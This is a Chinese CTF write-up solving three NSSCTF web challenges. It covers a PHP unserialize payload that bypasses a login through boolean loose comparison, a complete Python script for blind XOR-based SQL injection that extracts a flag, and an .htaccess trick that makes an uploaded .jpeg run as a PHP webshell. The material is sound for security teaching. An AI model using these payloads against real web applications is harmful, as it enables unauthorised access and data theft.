nssctf web (3)
[HUBUCTF 2022 新生赛]checkin
<?php
show_source(__FILE__); #将当前文件的代码显示到页面
$username = "this_is_secret"; #给username赋值
$password = "this_is_not_known_to_you"; #给password赋值
include("flag.php");//here I changed those two #包含flag.php
$info = isset($_GET['info'])? $_GET['info']: "" ; #通过get方法获取info参数判断是不是空,默认为空字符
$data_unserialize = unserialize($info); #将info反序列化
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){ #判断反序列化后的info中的username和password是不是一样
echo $flag;
}else{
echo "username or password error!";
}
?>
username or password error!
这里我们可以传入username和password的值为布尔值的true
那这个查询语句就一定为true
先构建数组
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
这里代表创建数组里面有两个键值对
username ==》true
password ==》 true
[CISCN 2019华北Day2]Web1
他提示了表和库的名字是flag
这里输入1会输出hello 通过尝试发现过滤了 union and or
所以尝试异或的sql注入脚本
import requests
import time
url = "http://node2.anna.nssctf.cn:28302/index.php"
payload = { #这里代表数组 键为id 值为下面的语句
"id" : ""
}
result = ""
for i in range(1,100):
l = 32 #l和r代表ascill码的起始和结束
r =160
mid = (l+r)>>1 #通过二分法来猜测 通过调整l和r的值得到mid的值这里通过>>1 代表整除 在通过返回来的数据即返回hello 代表要增加l的值 如果不返回hello的字符串则减小r的值,再不断重复这个过程知道l和r的值只差1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid) #通过format 调用i和mid {0}{1}代表i和mid ascill用来获取字符串的ascil码 substr用于提取字符串的字串
html = requests.post(url,data=payload) #这里通过request发送post请求 请求地址是url data内容是payload 也就是 id:0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid
print(payload)
if "Hello" in html.text: #判断返回的页面内容里面有没有hello
l = mid+1 #有hello 增加 这里用初始的 32 和 160 举例 就是192 也就是96 这里92返回hello 即 l等于 92+1=93
else:
r = mid #还是用32 160 举例 也就是当96 没有返回hello的时候 r会变成92
mid = (l+r)>>1 #这里代表重新给mid赋值
if(chr(mid)==" "): #这里代表如果猜测到最后mid的值为空格就break
break
result = result + chr(mid) #通过chr是mid从ascill码变成字符串 在通过result 存放在result中 同时这里也结束了本次循环
print(result) #输出result这里存在着flag
print("flag: " ,result)
[GXYCTF 2019]BabyUpload
上传一句话木马 发现不行
过滤ph 那phtml这种就不行了
发现jpeg png 都不让过猜测是对concent-Type做了过滤
png不行
发现jpeg可以但是内容不行这里写个js
然后我们通过.htaccess
.htacess可以用来修改文件的后缀名
<FilesMatch "1.jpeg">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch> 标签用于为文件名匹配给定的正则表达式的文件设置配置。在这里,它将为文件名为 1.jpeg 的文件设置以下配置
SetHandler 用于设置匹配文件的处理器。在这里,将 1.jpeg 文件的处理器设置为 application/x-httpd-php
application/x-httpd-php 是PHP文件处理器,所以这行配置将使得 1.jpeg 文件由 PHP 进行解析执行
要改content-type